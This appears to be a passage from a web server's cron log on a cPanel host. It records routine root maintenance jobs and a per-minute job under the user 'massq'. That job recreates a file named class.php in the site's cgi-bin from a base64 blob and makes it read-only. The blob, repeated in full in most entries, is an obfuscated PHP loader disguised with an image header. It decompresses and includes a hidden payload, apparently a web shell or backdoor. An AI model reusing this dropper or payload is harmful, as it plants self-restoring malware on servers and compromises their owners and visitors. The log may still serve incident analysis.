V9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:04:01 server CROND[28402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:05:01 server CROND[28554]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 18:05:01 server CROND[28555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:05:01 server CROND[28556]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:05:01 server CROND[28557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:06:01 server CROND[28667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:07:01 server CROND[28706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:08:01 server CROND[28754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:09:01 server CROND[28810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:09:01 server CROND[28811]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 18:10:01 server CROND[28963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:10:01 server CROND[28964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 18:10:01 server CROND[28965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:10:01 server CROND[28966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:11:01 server CROND[29075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:12:01 server CROND[29122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:12:01 server CROND[29123]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 18:13:01 server CROND[29180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:14:01 server CROND[29278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:15:01 server CROND[29430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:15:01 server CROND[29432]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 11 18:15:01 server CROND[29431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:15:01 server CROND[29433]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 18:15:01 server CROND[29438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:16:01 server CROND[29601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
